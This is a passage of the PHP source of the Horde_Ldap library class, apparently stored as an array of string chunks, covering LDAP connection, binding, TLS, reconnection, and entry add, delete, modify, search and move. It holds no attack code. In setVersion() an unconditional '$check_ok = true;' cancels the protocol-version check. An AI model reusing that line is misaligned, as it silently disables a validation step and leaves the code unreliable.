[ "<?php\n/**\n * The main Horde_Ldap class.\n *\n * Copyright 2003-2007 Tarjej Huse, Jan Wagner, Del Elson, Benedikt Hallinger\n * Copyright 2009-2014 Horde LLC (http://www.horde.org/)\n *\n * @package Ldap\n * @author Tarjej Huse <tarjei@bergfald.no>\n * @author Jan Wagner <wagner@netsols.de>\n * @author Del <del@babel.com.au>\n * @author Benedikt Hallinger <beni@php.net>\n * @author Ben Klang <ben@alkaloid.net>\n * @author Chuck Hagenbuch <chuck@horde.org>\n * @author Jan Schneider <jan@horde.org>\n * @license http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3\n */\nclass Horde_Ldap\n{\n /**\n * Class configuration array\n *\n * - hostspec: the LDAP host to connect to (may be an array of\n * several hosts to try).\n * - port: the server port.\n * - version: LDAP version (defaults to 3).\n * - tls: when set, ldap_start_tls() is run after connecting.\n * - binddn: the DN to bind as when searching.\n * - bindpw: password to use when searching LDAP.\n * - basedn: LDAP base.\n * - options: hash of LDAP options to set.\n * - filter: default search filter.\n * - scope: default search scope.\n * - user: configuration parameters for {@link findUserDN()},\n * must contain 'uid', and 'filter' or 'objectclass'\n * entries.\n * - auto_reconnect: if true, the class will automatically\n * attempt to reconnect to the LDAP server in certain\n * failure conditions when attempting a search, or other\n * LDAP operations. Defaults to false. Note that if you\n * set this to true, calls to search() may block\n * indefinitely if there is a catastrophic server failure.\n * - min_backoff: minimum reconnection delay period (in seconds).\n * - current_backof: initial reconnection delay period (in seconds).\n * - max_backoff: maximum reconnection delay period (in seconds).\n * - cache a Horde_Cache instance for caching schema requests.\n *\n * @var array\n */\n protected $_config = array(\n 'hostspec' => 'localhost',\n 'port' => 389,\n 'version' => 3,\n 'tls' => false,\n 'binddn' => '',\n 'bindpw' => '',\n 'basedn' => '',\n 'options' => array(),\n 'filter' => '(objectClass=*)',\n 'scope' => 'sub',\n 'user' => array(),\n 'auto_reconnect' => false,\n 'min_backoff' => 1,\n 'current_backoff' => 1,\n 'max_backoff' => 32,\n 'cache' => false,\n 'cachettl' => 3600);", " /**\n * List of hosts we try to establish a connection to.\n *\n * @var array\n */\n protected $_hostList = array();", " /**\n * List of hosts that are known to be down.\n *\n * @var array\n */\n protected $_downHostList = array();", " /**\n * LDAP resource link.\n *\n * @var resource\n */\n protected $_link;", " /**\n * Schema object.\n *\n * @see schema()\n * @var Horde_Ldap_Schema\n */\n protected $_schema;", " /**\n * Schema cache function callback.\n *\n * @see registerSchemaCache()\n * @var string\n */\n protected $_schemaCache;", " /**\n * Cache for attribute encoding checks.\n *\n * @var array Hash with attribute names as key and boolean value\n * to determine whether they should be utf8 encoded or not.\n */\n protected $_schemaAttrs = array();", " /**\n * Cache for rootDSE objects\n *\n * Hash with requested rootDSE attr names as key and rootDSE\n * object as value.\n *\n * Since the RootDSE object itself may request a rootDSE object,\n * {@link rootDSE()} caches successful requests.\n * Internally, Horde_Ldap needs several lookups to this object, so\n * caching increases performance significally.\n *\n * @var array\n */\n protected $_rootDSECache = array();", " /**\n * Constructor.\n *\n * @see $_config\n *\n * @param array $config Configuration array.\n */\n public function __construct($config = array())\n {\n if (!Horde_Util::loadExtension('ldap')) {\n throw new Horde_Ldap_Exception('No PHP LDAP extension');\n }\n $this->setConfig($config);\n $this->bind();\n }", " /**\n * Destructor.\n */\n public function __destruct()\n {\n $this->disconnect();\n }", " /**\n * Sets the internal configuration array.\n *\n * @param array $config Configuration hash.\n */\n protected function setConfig($config)\n {\n /* Parameter check -- probably should raise an error here if\n * config is not an array. */\n if (!is_array($config)) {\n return;\n }", " foreach ($config as $k => $v) {\n if (isset($this->_config[$k])) {\n $this->_config[$k] = $v;\n }\n }", " /* Ensure the host list is an array. */\n if (is_array($this->_config['hostspec'])) {\n $this->_hostList = $this->_config['hostspec'];\n } else {\n if (strlen($this->_config['hostspec'])) {\n $this->_hostList = array($this->_config['hostspec']);\n } else {\n $this->_hostList = array();\n /* This will cause an error in _connect(), so\n * the user is notified about the failure. */\n }\n }", " /* Reset the down host list, which seems like a sensible thing\n * to do if the config is being reset for some reason. */\n $this->_downHostList = array();\n }", " /**\n * Bind or rebind to the LDAP server.\n *\n * This function binds with the given DN and password to the\n * server. In case no connection has been made yet, it will be\n * started and STARTTLS issued if appropiate.\n *\n * The internal bind configuration is not being updated, so if you\n * call bind() without parameters, you can rebind with the\n * credentials provided at first connecting to the server.\n *\n * @param string $dn DN for binding.\n * @param string $password Password for binding.\n *\n * @throws Horde_Ldap_Exception\n */\n public function bind($dn = null, $password = null)\n {\n /* Fetch current bind credentials. */", " if (is_null($dn)) {", " $dn = $this->_config['binddn'];\n }", " if (is_null($password)) {", " $password = $this->_config['bindpw'];\n }", " /* Connect first, if we haven't so far. This will also bind\n * us to the server. */\n if (!$this->_link) {\n /* Store old credentials so we can revert them later, then\n * overwrite config with new bind credentials. */\n $olddn = $this->_config['binddn'];\n $oldpw = $this->_config['bindpw'];", " /* Overwrite bind credentials in config so\n * _connect() knows about them. */\n $this->_config['binddn'] = $dn;\n $this->_config['bindpw'] = $password;", " /* Try to connect with provided credentials. */\n $msg = $this->_connect();", " /* Reset to previous config. */\n $this->_config['binddn'] = $olddn;\n $this->_config['bindpw'] = $oldpw;\n return;\n }", " /* Do the requested bind as we are asked to bind manually. */\n if (empty($dn)) {\n /* Anonymous bind. */\n $msg = @ldap_bind($this->_link);\n } else {\n /* Privileged bind. */\n $msg = @ldap_bind($this->_link, $dn, $password);\n }\n if (!$msg) {\n throw new Horde_Ldap_Exception('Bind failed: ' . @ldap_error($this->_link),\n @ldap_errno($this->_link));\n }\n }", " /**\n * Connects to the LDAP server.\n *\n * This function connects to the LDAP server specified in the\n * configuration, binds and set up the LDAP protocol as needed.\n *\n * @throws Horde_Ldap_Exception\n */\n protected function _connect()\n {\n /* Connecting is briefly described in RFC1777. Basicly it works like\n * this:\n * 1. set up TCP connection\n * 2. secure that connection if neccessary\n * 3a. setVersion to tell server which version we want to speak\n * 3b. perform bind\n * 3c. setVersion to tell server which version we want to speak\n * together with a test for supported versions\n * 4. set additional protocol options */", " /* Return if we are already connected. */\n if ($this->_link) {\n return;\n }", " /* Connnect to the LDAP server if we are not connected. Note that\n * ldap_connect() may return a link value even if no connection is\n * made. We need to do at least one anonymous bind to ensure that a\n * connection is actually valid.\n *\n * See: http://www.php.net/manual/en/function.ldap-connect.php */", " /* Default error message in case all connection attempts fail but no\n * message is set. */\n $current_error = new Horde_Ldap_Exception('Unknown connection error');", " /* Catch empty $_hostList arrays. */\n if (!is_array($this->_hostList) || !count($this->_hostList)) {\n throw new Horde_Ldap_Exception('No servers configured');\n }", " /* Cycle through the host list. */\n foreach ($this->_hostList as $host) {\n /* Ensure we have a valid string for host name. */\n if (is_array($host)) {\n $current_error = new Horde_Ldap_Exception('No Servers configured');\n continue;\n }", " /* Skip this host if it is known to be down. */\n if (in_array($host, $this->_downHostList)) {\n continue;\n }", " /* Record the host that we are actually connecting to in case we\n * need it later. */\n $this->_config['hostspec'] = $host;", " /* Attempt a connection. */\n $this->_link = @ldap_connect($host, $this->_config['port']);\n if (!$this->_link) {\n $current_error = new Horde_Ldap_Exception('Could not connect to ' . $host . ':' . $this->_config['port']);\n $this->_downHostList[] = $host;\n continue;\n }", " /* If we're supposed to use TLS, do so before we try to bind, as\n * some strict servers only allow binding via secure\n * connections. */\n if ($this->_config['tls']) {\n try {\n $this->startTLS();\n } catch (Horde_Ldap_Exception $e) {\n $current_error = $e;\n $this->_link = false;\n $this->_downHostList[] = $host;\n continue;\n }\n }", " /* Try to set the configured LDAP version on the connection if LDAP\n * server needs that before binding (eg OpenLDAP).\n * This could be necessary since RFC 1777 states that the protocol\n * version has to be set at the bind request.\n * We use force here which means that the test in the rootDSE is\n * skipped; this is neccessary, because some strict LDAP servers\n * only allow to read the LDAP rootDSE (which tells us the\n * supported protocol versions) with authenticated clients.\n * This may fail in which case we try again after binding.\n * In this case, most probably the bind() or setVersion() call\n * below will also fail, providing error messages. */\n $version_set = false;\n $this->setVersion(0, true);", " /* Attempt to bind to the server. If we have credentials\n * configured, we try to use them, otherwise it's an anonymous\n * bind.\n * As stated by RFC 1777, the bind request should be the first\n * operation to be performed after the connection is established.\n * This may give an protocol error if the server does not support\n * v2 binds and the above call to setVersion() failed.\n * If the above call failed, we try an v2 bind here and set the\n * version afterwards (with checking to the rootDSE). */\n try {\n $this->bind();\n } catch (Exception $e) {\n /* The bind failed, discard link and save error msg.\n * Then record the host as down and try next one. */\n if ($this->errorName($e->getCode()) == 'LDAP_PROTOCOL_ERROR' &&\n !$version_set) {\n /* Provide a finer grained error message if protocol error\n * arises because of invalid version. */\n $e = new Horde_Ldap_Exception($e->getMessage() . ' (could not set LDAP protocol version to ' . $this->_config['version'].')', $e->getCode());\n }\n $this->_link = false;\n $current_error = $e;\n $this->_downHostList[] = $host;\n continue;\n }", " /* Set desired LDAP version if not successfully set before.\n * Here, a check against the rootDSE is performed, so we get a\n * error message if the server does not support the version.\n * The rootDSE entry should tell us which LDAP versions are\n * supported. However, some strict LDAP servers only allow\n * bound users to read the rootDSE. */\n if (!$version_set) {\n try {\n $this->setVersion();\n } catch (Exception $e) {\n $current_error = $e;\n $this->_link = false;\n $this->_downHostList[] = $host;\n continue;\n }\n }", " /* Set LDAP parameters, now that we know we have a valid\n * connection. */\n if (isset($this->_config['options']) &&\n is_array($this->_config['options']) &&\n count($this->_config['options'])) {\n foreach ($this->_config['options'] as $opt => $val) {\n try {\n $this->setOption($opt, $val);\n } catch (Exception $e) {\n $current_error = $e;\n $this->_link = false;\n $this->_downHostList[] = $host;\n continue 2;\n }\n }\n }", " /* At this stage we have connected, bound, and set up options, so\n * we have a known good LDAP server. Time to go home. */\n return;\n }", " /* All connection attempts have failed, return the last error. */\n throw $current_error;\n }", " /**\n * Reconnects to the LDAP server.\n *\n * In case the connection to the LDAP service has dropped out for some\n * reason, this function will reconnect, and re-bind if a bind has been\n * attempted in the past. It is probably most useful when the server list\n * provided to the new() or _connect() function is an array rather than a\n * single host name, because in that case it will be able to connect to a\n * failover or secondary server in case the primary server goes down.\n *\n * This method just tries to re-establish the current connection. It will\n * sleep for the current backoff period (seconds) before attempting the\n * connect, and if the connection fails it will double the backoff period,\n * but not try again. If you want to ensure a reconnection during a\n * transient period of server downtime then you need to call this function\n * in a loop.\n *\n * @throws Horde_Ldap_Exception\n */\n protected function _reconnect()\n {\n /* Return if we are already connected. */\n if ($this->_link) {\n return;\n }", " /* Sleep for a backoff period in seconds. */\n sleep($this->_config['current_backoff']);", " /* Retry all available connections. */\n $this->_downHostList = array();", " try {\n $this->_connect();\n } catch (Horde_Ldap_Exception $e) {\n $this->_config['current_backoff'] *= 2;\n if ($this->_config['current_backoff'] > $this->_config['max_backoff']) {\n $this->_config['current_backoff'] = $this->_config['max_backoff'];\n }\n throw $e;\n }", " /* Now we should be able to safely (re-)bind. */\n try {\n $this->bind();\n } catch (Exception $e) {\n $this->_config['current_backoff'] *= 2;\n if ($this->_config['current_backoff'] > $this->_config['max_backoff']) {\n $this->_config['current_backoff'] = $this->_config['max_backoff'];\n }", " /* $this->_config['hostspec'] should have had the last connected\n * host stored in it by _connect(). Since we are unable to\n * bind to that host we can safely assume that it is down or has\n * some other problem. */\n $this->_downHostList[] = $this->_config['hostspec'];\n throw $e;\n }", " /* At this stage we have connected, bound, and set up options, so we\n * have a known good LDAP server. Time to go home. */\n $this->_config['current_backoff'] = $this->_config['min_backoff'];\n }", " /**\n * Closes the LDAP connection.\n */\n public function disconnect()\n {\n @ldap_close($this->_link);\n }", " /**\n * Starts an encrypted session.\n *\n * @throws Horde_Ldap_Exception\n */\n public function startTLS()\n {\n /* First try STARTTLS blindly, some servers don't even allow to receive\n * the rootDSE without TLS. */\n if (@ldap_start_tls($this->_link)) {\n return;\n }", " /* Keep original error. */\n $error = 'TLS not started: ' . @ldap_error($this->_link);\n $errno = @ldap_errno($this->_link);", " /* Test to see if the server supports TLS at all.\n * This is done via testing the extensions offered by the server.\n * The OID 1.3.6.1.4.1.1466.20037 tells whether TLS is supported. */\n try {\n $rootDSE = $this->rootDSE();\n } catch (Exception $e) {\n throw new Horde_Ldap_Exception('Unable to start TLS and unable to fetch rootDSE entry to see if TLS is supported: ' . $e->getMessage(), $e->getCode());\n }", " try {\n $supported_extensions = $rootDSE->getValue('supportedExtension');\n } catch (Exception $e) {\n throw new Horde_Ldap_Exception('Unable to start TLS and unable to fetch rootDSE attribute \"supportedExtension\" to see if TLS is supoported: ' . $e->getMessage(), $e->getCode());\n }", " if (!in_array('1.3.6.1.4.1.1466.20037', $supported_extensions)) {\n throw new Horde_Ldap_Exception('Server reports that it does not support TLS');\n }", " throw new Horde_Ldap_Exception($error, $errno);\n }", " /**\n * Adds a new entry to the directory.\n *\n * This also links the entry to the connection used for the add, if it was\n * a fresh entry.\n *\n * @see HordeLdap_Entry::createFresh()\n *\n * @param Horde_Ldap_Entry $entry An LDAP entry.\n *\n * @throws Horde_Ldap_Exception\n */\n public function add(Horde_Ldap_Entry $entry)\n {\n /* Continue attempting the add operation in a loop until we get a\n * success, a definitive failure, or the world ends. */\n while (true) {\n $link = $this->getLink();\n if ($link === false) {\n /* We do not have a successful connection yet. The call to\n * getLink() would have kept trying if we wanted one. */\n throw new Horde_Ldap_Exception('Could not add entry ' . $entry->dn() . ' no valid LDAP connection could be found.');\n }", " if (@ldap_add($link, $entry->dn(), $entry->getValues())) {\n /* Entry successfully added, we should update its Horde_Ldap\n * reference in case it is not set so far (fresh entry). */\n try {\n $entry->getLDAP();\n } catch (Horde_Ldap_Exception $e) {\n $entry->setLDAP($this);\n }\n /* Store that the entry is present inside the directory. */\n $entry->markAsNew(false);\n return;\n }", " /* We have a failure. What kind? We may be able to reconnect and\n * try again. */\n $error_code = @ldap_errno($link);\n if ($this->errorName($error_code) != 'LDAP_OPERATIONS_ERROR' |\n !$this->_config['auto_reconnect']) {\n /* Errors other than the above are just passed back to the user\n * so he may react upon them. */\n throw new Horde_Ldap_Exception('Could not add entry ' . $entry->dn() . ': ' . ldap_err2str($error_code), $error_code);\n }", " /* The server has disconnected before trying the operation. We\n * should try again, possibly with a different server. */\n $this->_link = false;\n $this->_reconnect();\n }\n }", " /**\n * Deletes an entry from the directory.\n *\n * @param string|Horde_Ldap_Entry $dn DN string or Horde_Ldap_Entry.\n * @param boolean $recursive Should we delete all children\n * recursivelx as well?\n * @throws Horde_Ldap_Exception\n */\n public function delete($dn, $recursive = false)\n {\n if ($dn instanceof Horde_Ldap_Entry) {\n $dn = $dn->dn();\n }\n if (!is_string($dn)) {\n throw new Horde_Ldap_Exception('Parameter is not a string nor an entry object!');\n }", " /* Recursive delete searches for children and calls delete for them. */\n if ($recursive) {\n $result = @ldap_list($this->_link, $dn, '(objectClass=*)', array(null), 0, 0);\n if ($result && @ldap_count_entries($this->_link, $result)) {\n for ($subentry = @ldap_first_entry($this->_link, $result);\n $subentry;\n $subentry = @ldap_next_entry($this->_link, $subentry)) {\n $this->delete(@ldap_get_dn($this->_link, $subentry), true);\n }\n }\n }", " /* Continue the delete operation in a loop until we get a success, or a\n * definitive failure. */\n while (true) {\n $link = $this->getLink();\n if (!$link) {\n /* We do not have a successful connection yet. The call to\n * getLink() would have kept trying if we wanted one. */\n throw new Horde_Ldap_Exception('Could not add entry ' . $dn . ' no valid LDAP connection could be found.');\n }", " $s = @ldap_delete($link, $dn);\n if ($s) {\n /* Entry successfully deleted. */\n return;\n }", " /* We have a failure. What kind? We may be able to reconnect and\n * try again. */\n $error_code = @ldap_errno($link);\n if ($this->errorName($error_code) == 'LDAP_OPERATIONS_ERROR' &&\n $this->_config['auto_reconnect']) {\n /* The server has disconnected before trying the operation. We\n * should try again, possibly with a different server. */\n $this->_link = false;\n $this->_reconnect();\n } elseif ($this->errorName($error_code) == 'LDAP_NOT_ALLOWED_ON_NONLEAF') {\n /* Subentries present, server refused to delete.\n * Deleting subentries is the clients responsibility, but since\n * the user may not know of the subentries, we do not force\n * that here but instead notify the developer so he may take\n * actions himself. */\n throw new Horde_Ldap_Exception('Could not delete entry ' . $dn . ' because of subentries. Use the recursive parameter to delete them.', $error_code);\n } else {\n /* Errors other than the above catched are just passed back to\n * the user so he may react upon them. */\n throw new Horde_Ldap_Exception('Could not delete entry ' . $dn . ': ' . ldap_err2str($error_code), $error_code);\n }\n }\n }", " /**\n * Modifies an LDAP entry on the server.\n *\n * The $params argument is an array of actions and should be something like\n * this:\n * <code>\n * array('add' => array('attribute1' => array('val1', 'val2'),\n * 'attribute2' => array('val1')),\n * 'delete' => array('attribute1'),\n * 'replace' => array('attribute1' => array('val1')),\n * 'changes' => array('add' => ...,\n * 'replace' => ...,\n * 'delete' => array('attribute1', 'attribute2' => array('val1')))\n * </code>\n *\n * The order of execution is as following:\n * 1. adds from 'add' array\n * 2. deletes from 'delete' array\n * 3. replaces from 'replace' array\n * 4. changes (add, replace, delete) in order of appearance\n *\n * The function calls the corresponding functions of an Horde_Ldap_Entry\n * object. A detailed description of array structures can be found there.\n *\n * Unlike the modification methods provided by the Horde_Ldap_Entry object,\n * this method will instantly carry out an update() after each operation,\n * thus modifying \"directly\" on the server.\n *\n * @see Horde_Ldap_Entry::add()\n * @see Horde_Ldap_Entry::delete()\n * @see Horde_Ldap_Entry::replace()\n *\n * @param string|Horde_Ldap_Entry $entry DN string or Horde_Ldap_Entry.\n * @param array $parms Array of changes\n *\n * @throws Horde_Ldap_Exception\n */\n public function modify($entry, $parms = array())\n {\n if (is_string($entry)) {\n $entry = $this->getEntry($entry);\n }\n if (!($entry instanceof Horde_Ldap_Entry)) {\n throw new Horde_Ldap_Exception('Parameter is not a string nor an entry object!');\n }", " if ($unknown = array_diff(array_keys($parms), array('add', 'delete', 'replace', 'changes'))) {\n throw new Horde_Ldap_Exception('Unknown modify action(s): ' . implode(', ', $unknown));\n }", " /* Perform changes mentioned separately. */\n foreach (array('add', 'delete', 'replace') as $action) {\n if (!isset($parms[$action])) {\n continue;\n }\n $entry->$action($parms[$action]);\n $entry->setLDAP($this);", " /* Because the ldap_*() functions are called inside\n * Horde_Ldap_Entry::update(), we have to trap the error codes\n * issued from that if we want to support reconnection. */\n while (true) {\n try {\n $entry->update();\n break;\n } catch (Exception $e) {\n /* We have a failure. What kind? We may be able to\n * reconnect and try again. */\n if ($this->errorName($e->getCode()) != 'LDAP_OPERATIONS_ERROR' ||\n !$this->_config['auto_reconnect']) {\n /* Errors other than the above catched are just passed\n * back to the user so he may react upon them. */\n throw new Horde_Ldap_Exception('Could not modify entry: ' . $e->getMessage());\n }\n /* The server has disconnected before trying the operation.\n * We should try again, possibly with a different\n * server. */\n $this->_link = false;\n $this->_reconnect();\n }\n }\n }", " if (!isset($parms['changes']) || !is_array($parms['changes'])) {\n return;\n }", " /* Perform combined changes in 'changes' array. */\n foreach ($parms['changes'] as $action => $value) {\n $this->modify($entry, array($action => $value));\n }\n }", " /**\n * Runs an LDAP search query.\n *\n * $base and $filter may be ommitted. The one from config will then be\n * used. $base is either a DN-string or an Horde_Ldap_Entry object in which\n * case its DN will be used.\n *\n * $params may contain:\n * - scope: The scope which will be used for searching, defaults to 'sub':\n * - base: Just one entry\n * - sub: The whole tree\n * - one: Immediately below $base\n * - sizelimit: Limit the number of entries returned\n * (default: 0 = unlimited)\n * - timelimit: Limit the time spent for searching (default: 0 = unlimited)\n * - attrsonly: If true, the search will only return the attribute names\n * - attributes: Array of attribute names, which the entry should contain.\n * It is good practice to limit this to just the ones you\n * need.\n *\n * You cannot override server side limitations to sizelimit and timelimit:\n * You can always only lower a given limit.\n *\n * @todo implement search controls (sorting etc)\n *\n * @param string|Horde_Ldap_Entry $base LDAP searchbase.\n * @param string|Horde_Ldap_Filter $filter LDAP search filter.\n * @param array $params Array of options.\n *\n * @return Horde_Ldap_Search The search result.\n * @throws Horde_Ldap_Exception\n */\n public function search($base = null, $filter = null, $params = array())\n {\n if (is_null($base)) {\n $base = $this->_config['basedn'];\n }\n if ($base instanceof Horde_Ldap_Entry) {\n /* Fetch DN of entry, making searchbase relative to the entry. */\n $base = $base->dn();\n }\n if (is_null($filter)) {\n $filter = $this->_config['filter'];\n }\n if ($filter instanceof Horde_Ldap_Filter) {\n /* Convert Horde_Ldap_Filter to string representation. */\n $filter = (string)$filter;\n }", " /* Setting search parameters. */\n $sizelimit = isset($params['sizelimit']) ? $params['sizelimit'] : 0;\n $timelimit = isset($params['timelimit']) ? $params['timelimit'] : 0;\n $attrsonly = isset($params['attrsonly']) ? $params['attrsonly'] : 0;\n $attributes = isset($params['attributes']) ? $params['attributes'] : array();", " /* Ensure $attributes to be an array in case only one attribute name\n * was given as string. */\n if (!is_array($attributes)) {\n $attributes = array($attributes);\n }", " /* Reorganize the $attributes array index keys sometimes there are\n * problems with not consecutive indexes. */\n $attributes = array_values($attributes);", " /* Scoping makes searches faster! */\n $scope = isset($params['scope'])\n ? $params['scope']\n : $this->_config['scope'];", " switch ($scope) {\n case 'one':\n $search_function = 'ldap_list';\n break;\n case 'base':\n $search_function = 'ldap_read';\n break;\n default:\n $search_function = 'ldap_search';\n }", " /* Continue attempting the search operation until we get a success or a\n * definitive failure. */\n while (true) {\n $link = $this->getLink();\n $search = @call_user_func($search_function,\n $link,\n $base,\n $filter,\n $attributes,\n $attrsonly,\n $sizelimit,\n $timelimit);", " if ($errno = @ldap_errno($link)) {\n $err = $this->errorName($errno);\n if ($err == 'LDAP_NO_SUCH_OBJECT' ||\n $err == 'LDAP_SIZELIMIT_EXCEEDED') {\n return new Horde_Ldap_Search($search, $this, $attributes);\n }\n if ($err == 'LDAP_FILTER_ERROR') {\n /* Bad search filter. */\n throw new Horde_Ldap_Exception(ldap_err2str($errno) . ' ($filter)', $errno);\n }\n if ($err == 'LDAP_OPERATIONS_ERROR' &&\n $this->_config['auto_reconnect']) {\n $this->_link = false;\n $this->_reconnect();\n } else {\n $msg = \"\\nParameters:\\nBase: $base\\nFilter: $filter\\nScope: $scope\";\n throw new Horde_Ldap_Exception(ldap_err2str($errno) . $msg, $errno);\n }\n } else {\n return new Horde_Ldap_Search($search, $this, $attributes);\n }\n }\n }", " /**\n * Returns the DN of a user.\n *\n * The purpose is to quickly find the full DN of a user so it can be used\n * to re-bind as this user. This method requires the 'user' configuration\n * parameter to be set.\n *\n * @param string $user The user to find.\n *\n * @return string The user's full DN.\n * @throws Horde_Ldap_Exception\n * @throws Horde_Exception_NotFound\n */\n public function findUserDN($user)\n {\n $filter = Horde_Ldap_Filter::combine(\n 'and',\n array(Horde_Ldap_Filter::build($this->_config['user']),\n Horde_Ldap_Filter::create($this->_config['user']['uid'], 'equals', $user)));\n $search = $this->search(\n null,\n $filter,\n array('attributes' => array($this->_config['user']['uid'])));\n if (!$search->count()) {\n throw new Horde_Exception_NotFound('DN for user ' . $user . ' not found');\n }\n $entry = $search->shiftEntry();\n return $entry->currentDN();\n }", " /**\n * Sets an LDAP option.\n *\n * @param string $option Option to set.\n * @param mixed $value Value to set option to.\n *\n * @throws Horde_Ldap_Exception\n */\n public function setOption($option, $value)\n {\n if (!$this->_link) {\n throw new Horde_Ldap_Exception('Could not set LDAP option: No LDAP connection');\n }\n if (!defined($option)) {\n throw new Horde_Ldap_Exception('Unkown option requested');\n }\n if (@ldap_set_option($this->_link, constant($option), $value)) {\n return;\n }\n $err = @ldap_errno($this->_link);\n if ($err) {\n throw new Horde_Ldap_Exception(ldap_err2str($err), $err);\n }\n throw new Horde_Ldap_Exception('Unknown error');\n }", " /**\n * Returns an LDAP option value.\n *\n * @param string $option Option to get.\n *\n * @return Horde_Ldap_Error|string Horde_Ldap_Error or option value\n * @throws Horde_Ldap_Exception\n */\n public function getOption($option)\n {\n if (!$this->_link) {\n throw new Horde_Ldap_Exception('No LDAP connection');\n }\n if (!defined($option)) {\n throw new Horde_Ldap_Exception('Unkown option requested');\n }\n if (@ldap_get_option($this->_link, constant($option), $value)) {\n return $value;\n }\n $err = @ldap_errno($this->_link);\n if ($err) {\n throw new Horde_Ldap_Exception(ldap_err2str($err), $err);\n }\n throw new Horde_Ldap_Exception('Unknown error');\n }", " /**\n * Returns the LDAP protocol version that is used on the connection.\n *\n * A lot of LDAP functionality is defined by what protocol version\n * the LDAP server speaks. This might be 2 or 3.\n *\n * @return integer The protocol version.\n */\n public function getVersion()\n {\n if ($this->_link) {\n $version = $this->getOption('LDAP_OPT_PROTOCOL_VERSION');\n } else {\n $version = $this->_config['version'];\n }\n return $version;\n }", " /**\n * Sets the LDAP protocol version that is used on the connection.\n *\n * @todo Checking via the rootDSE takes much time - why? fetching\n * and instanciation is quick!\n *\n * @param integer $version LDAP version that should be used.\n * @param boolean $force If set to true, the check against the rootDSE\n * will be skipped.\n *\n * @throws Horde_Ldap_Exception\n */\n public function setVersion($version = 0, $force = false)\n {\n if (!$version) {\n $version = $this->_config['version'];\n }", " /* Check to see if the server supports this version first.\n *\n * TODO: Why is this so horribly slow? $this->rootDSE() is very fast,\n * as well as Horde_Ldap_RootDse(). Seems like a problem at copying the\n * object inside PHP?? Additionally, this is not always\n * reproducable... */\n if (!$force) {\n try {\n $rootDSE = $this->rootDSE();\n $supported_versions = $rootDSE->getValue('supportedLDAPVersion');\n if (is_string($supported_versions)) {\n $supported_versions = array($supported_versions);\n }\n $check_ok = in_array($version, $supported_versions);\n } catch (Horde_Ldap_Exception $e) {\n /* If we don't get a root DSE, this is probably a v2 server. */\n $check_ok = $version < 3;\n }\n }\n $check_ok = true;", " if ($force || $check_ok) {\n return $this->setOption('LDAP_OPT_PROTOCOL_VERSION', $version);\n }\n throw new Horde_Ldap_Exception('LDAP Server does not support protocol version ' . $version);\n }", "\n /**\n * Returns whether a DN exists in the directory.\n *\n * @param string|Horde_Ldap_Entry $dn The DN of the object to test.\n *\n * @return boolean True if the DN exists.\n * @throws Horde_Ldap_Exception\n */\n public function exists($dn)\n {\n if ($dn instanceof Horde_Ldap_Entry) {\n $dn = $dn->dn();\n }\n if (!is_string($dn)) {\n throw new Horde_Ldap_Exception('Parameter $dn is not a string nor an entry object!');\n }", " /* Make dn relative to parent. */\n $base = Horde_Ldap_Util::explodeDN($dn, array('casefold' => 'none', 'reverse' => false, 'onlyvalues' => false));\n $entry_rdn = array_shift($base);\n $base = Horde_Ldap_Util::canonicalDN($base);", " $result = @ldap_list($this->_link, $base, $entry_rdn, array(), 1, 1);\n if (@ldap_count_entries($this->_link, $result)) {\n return true;\n }\n if ($this->errorName(@ldap_errno($this->_link)) == 'LDAP_NO_SUCH_OBJECT') {\n return false;\n }\n if (@ldap_errno($this->_link)) {\n throw new Horde_Ldap_Exception(@ldap_error($this->_link), @ldap_errno($this->_link));\n }\n return false;\n }", "\n /**\n * Returns a specific entry based on the DN.\n *\n * @todo Maybe a check against the schema should be done to be\n * sure the attribute type exists.\n *\n * @param string $dn DN of the entry that should be fetched.\n * @param array $attributes Array of Attributes to select. If ommitted, all\n * attributes are fetched.\n *\n * @return Horde_Ldap_Entry A Horde_Ldap_Entry object.\n * @throws Horde_Ldap_Exception\n * @throws Horde_Exception_NotFound\n */\n public function getEntry($dn, $attributes = array())\n {\n if (!is_array($attributes)) {\n $attributes = array($attributes);\n }\n $result = $this->search($dn, '(objectClass=*)',\n array('scope' => 'base', 'attributes' => $attributes));\n if (!$result->count()) {\n throw new Horde_Exception_NotFound(sprintf('Could not fetch entry %s: no entry found', $dn));\n }\n $entry = $result->shiftEntry();\n if (!$entry) {\n throw new Horde_Ldap_Exception('Could not fetch entry (error retrieving entry from search result)');\n }\n return $entry;\n }", " /**\n * Renames or moves an entry.\n *\n * This method will instantly carry out an update() after the\n * move, so the entry is moved instantly.\n *\n * You can pass an optional Horde_Ldap object. In this case, a\n * cross directory move will be performed which deletes the entry\n * in the source (THIS) directory and adds it in the directory\n * $target_ldap.\n *\n * A cross directory move will switch the entry's internal LDAP\n * reference so updates to the entry will go to the new directory.\n *\n * If you want to do a cross directory move, you need to pass an\n * Horde_Ldap_Entry object, otherwise the attributes will be\n * empty.\n *\n * @param string|Horde_Ldap_Entry $entry An LDAP entry.\n * @param string $newdn The new location.\n * @param Horde_Ldap $target_ldap Target directory for cross\n * server move.\n *\n * @throws Horde_Ldap_Exception\n */\n public function move($entry, $newdn, $target_ldap = null)\n {\n if (is_string($entry)) {\n if ($target_ldap && $target_ldap !== $this) {\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: operation requires a Horde_Ldap_Entry object');\n }\n $entry = $this->getEntry($entry);\n }\n if (!$entry instanceof Horde_Ldap_Entry) {\n throw new Horde_Ldap_Exception('Parameter $entry is expected to be a Horde_Ldap_Entry object! (If DN was passed, conversion failed)');\n }\n if ($target_ldap && !($target_ldap instanceof Horde_Ldap)) {\n throw new Horde_Ldap_Exception('Parameter $target_ldap is expected to be a Horde_Ldap object!');\n }", " if (!$target_ldap || $target_ldap === $this) {\n /* Local move. */\n $entry->dn($newdn);\n $entry->setLDAP($this);\n $entry->update();\n return;\n }", " /* Cross directory move. */\n if ($target_ldap->exists($newdn)) {\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: entry does exist in target directory');\n }\n $entry->dn($newdn);\n try {\n $target_ldap->add($entry);\n } catch (Exception $e) {\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: ' . $e->getMessage() . ' in target directory');\n }", " try {\n $this->delete($entry->currentDN());\n } catch (Exception $e) {\n try {\n $add_error_string = '';\n /* Undo add. */\n $target_ldap->delete($entry);\n } catch (Exception $e) {\n $add_error_string = ' Additionally, the deletion (undo add) of $entry in target directory failed.';\n }\n throw new Horde_Ldap_Exception('Unable to perform cross directory move: ' . $e->getMessage() . ' in source directory.' . $add_error_string);\n }\n $entry->setLDAP($target_ldap);\n }", " /**\n * Copies an entry 